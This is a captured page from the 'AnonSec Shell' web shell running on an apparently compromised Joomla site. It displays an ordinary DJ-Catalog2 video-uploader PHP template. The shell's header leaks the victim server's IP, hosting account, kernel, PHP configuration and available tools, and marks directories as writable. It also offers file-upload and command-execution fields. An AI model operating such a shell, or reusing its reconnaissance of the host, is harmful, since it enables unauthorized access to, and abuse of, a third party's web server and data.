AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.117
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_djcatalog2/helpers/layouts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_djcatalog2/helpers/layouts/video.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined('_JEXEC') or die();
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Factory;
$cParams = ComponentHelper::getParams('com_djcatalog2');
?>

<div style="clear: both"></div>

<div id="<?php echo $wrapper_id ?>" class="djc_uploader <?php echo $wrapper_class?>">
    <table class="adminlist table table-condensed table-bordered djc_uploader_table jlist-table">
        <thead>
        <tr>
            <th class="djc_uploader_ordering" width="1%">
                <?php echo Text::_('COM_DJCATALOG2_FILE_ORDER_LABEL'); ?>
            </th>
            <th class="djc_uploader_img">
                <?php echo Text::_('COM_DJCATALOG2_VIDEO');?>
            </th>
            <th class="djc_uploader_caption">
                <?php echo Text::_('COM_DJCATALOG2_FILE_CAPTION_LABEL'); ?>
            </th>
            <th class="djc_uploader_video_cover">
                <?php echo Text::_('COM_DJCATALOG2_VIDEO_COVER'); ?>
            </th>
            <th class="djc_uploader_delete">
            </th>
        </tr>
        </thead>

        <tfoot>
        <tr id="djc_uploader_simple_<?php echo $suffix; ?>" class="djc_uploader_item_simple" style="display: none;">
            <td colspan="5">
                <input type="file" name="<?php echo $prefix; ?>_file_upload[]" class="form-control file-input"  />
            </td>
        </tr>
        <tr>
            <td colspan="5">

                <?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.startTabSet', 'videoupload-myTab', array('recall' => true, 'active' => 'video-uploaderTab')); ?>

                <?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.addTab', 'videoupload-myTab', 'video-uploaderTab', Text::_('COM_DJCATALOG2_TAB_VIDEO_UPLOADER')); ?>
                <?php if ($multiple_upload) {?>
                    <?php echo DJCatalog2UploadHelper::getUploader($uploader_id, $settings); ?>
                <?php } else {?>
                    <button id="add_<?php echo $suffix; ?>_button" class="btn btn-primary button" onclick="DJCatalog2UPAddUploader('<?php echo $suffix; ?>', '<?php echo $wrapper_id?>'); return false;"><?php echo Text::_('COM_DJCATALOG2_ADD_VIDEO'); ?></button>
                <?php } ?>
                <?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.endTab'); ?>

                <?php if($cParams->get('fb') && Factory::getApplication()->isClient('administrator')) { ?>
                    <?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.addTab', 'videoupload-myTab', 'video-filebrowserTab', Text::_('COM_DJCATALOG2_TAB_VIDEO_BROWSER')); ?>
                    <div id="videobrowser" class="djc_filebrowser"></div>
                    <?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.endTab'); ?>
                <?php } ?>

                <?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.addTab', 'videoupload-myTab', 'video-filebrowserTab', Text::_('COM_DJCATALOG2_TAB_VIDEO_URL')); ?>
                <div id="videourl" class="form form-horizontal">
                    <div class="container-fluid">
                        <div class="col-md-12">
                            <fieldset >
                                <div class="control-group">
                                    <div class="control-label">
                                        <label for="videourl-address"><?php echo Text::_('COM_DJCATALOG2_VIDEO_URL');?></label>
                                    </div>
                                    <div class="controls">
                                        <input type="text" placeholder="Enter URL of the video..." value="" name="" id="videourl-input" />
                                    </div>
                                </div>

                                <div class="control-group">
                                    <div class="controls">
                                        <button type="button" role="button" class="btn btn-primary " id="videourl-submit"><?php echo Text::_('COM_DJCATALOG2_ADD_VIDEO');?></button>
                                    </div>
                                </div>
                            </fieldset>
                        </div>
                    </div>
                </div>
                <?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.endTab'); ?>

                <?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.endTabSet'); ?>
            </td>
        </tr>
        </tfoot>

        <tbody id="<?php echo $wrapper_id; ?>_items" class="djc_uploader_items"  data-limit="<?php echo (int)$limit;?>">
        <?php if(count($files)) { ?>
            <?php foreach($files as $file) {
                ?>
                <tr class="djc_uploader_item">
                    <td class="center ordering_handle">
						<span class="sortable-handler" style="cursor: move;">
							<i class="icon-move"></i>
						</span>
                    </td>

                    <td class="center">
                        <a target="_blank" href="<?php echo ($file->source == 'local') ? Uri::root() . $file->fullpath : $file->fullpath; ?>">
                            <?php echo htmlspecialchars($file->fullname); ?>
                        </a>
                        <input type="hidden" name="<?php echo $prefix?>_file_id[]" value="<?php echo (int)$file->id; ?>" />
                        <input type="hidden" name="<?php echo $prefix?>_file_name[]" value="<?php echo $file->fullname; ?>" />
                        <input type="hidden" name="<?php echo $prefix?>_source[]" value="<?php echo $file->source; ?>" />
                    </td>

                    <td>
                        <input type="text" name="<?php echo $prefix ?>_caption[]" value="<?php echo htmlspecialchars($file->caption); ?>" class="djc_uploader_caption input form-control input-medium" />
                    </td>
                    <td>
                        <?php /*?><input type="text" name="<?php echo $prefix ?>_cover[]" value="<?php echo htmlspecialchars($file->cover); ?>" class="djc_uploader_video_cover input form-control input-medium" /><?php */ ?>
                        <input type="file" name="<?php echo $prefix ?>_cover[]" class="djc_uploader_video_cover input form-control file-input input-medium" />
                        <?php if ($file->cover != '') {?>
                            <br />
                            <img alt="" src="<?php echo DJCATIMGURLPATH .'/'. $file->cover_fullpath;?>" />
                            <br />
                            <label><?php echo Text::_('COM_DJCATALOG2_CHECK_TO_DELETE')?> <input type="checkbox" onchange="DJC2VideoCoverDelete(this);"/><input type="hidden" name="<?php echo $prefix ?>_delete_cover[]" value="0" /></label>
                        <?php } else {?>
                            <input type="hidden" name="<?php echo $prefix ?>_delete_cover[]" value="0" />
                        <?php } ?>
                    </td>
                    <td class="center">
                        <button class="button btn djc_uploader_remove_btn"><?php echo Text::_('COM_DJCATALOG2_DELETE_BTN')?></button>
                    </td>
                </tr>
            <?php }?>
        <?php }?>
        </tbody>
    </table>
</div>

<script>
    function DJC2VideoCoverDelete(input) {
        var toggle = jQuery(input);
        setTimeout(function(){
            var value = toggle.is(':checked') ? 1 : 0;
            toggle.siblings('input[type=hidden]').val(value);
        }, 10);
    }
</script>

Anon7 - 2022
AnonSec Team